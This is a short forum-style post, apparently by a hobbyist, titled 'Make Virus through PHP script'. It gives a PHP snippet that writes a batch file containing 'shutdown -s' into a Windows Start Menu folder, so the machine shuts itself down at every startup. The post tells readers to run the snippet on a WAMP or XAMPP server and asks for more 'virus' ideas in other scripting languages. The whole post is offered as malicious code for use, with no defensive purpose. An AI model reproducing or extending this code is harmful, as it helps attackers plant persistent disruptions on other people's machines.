Make Virus through PHP script

set location for making virus in that particular dirctory to activate virus

 I choose filder which automatically activate after system got start.


<?php
$myfile = fopen("C:\\Documents and Settings\\Admin\\Start Menu\\veer.bat", "wb") or die("Unable to open file!");
$txt = "shutdown -s";
fwrite($myfile, $txt);
fclose($myfile);
?>

save this code and run though PHP supporting server like WAMP, XAMPP

Suggest me ifyou have more idea regarding this type of virus though webpage scripting lanaguage like ASPX,PHP,RB,JS,PY and many more.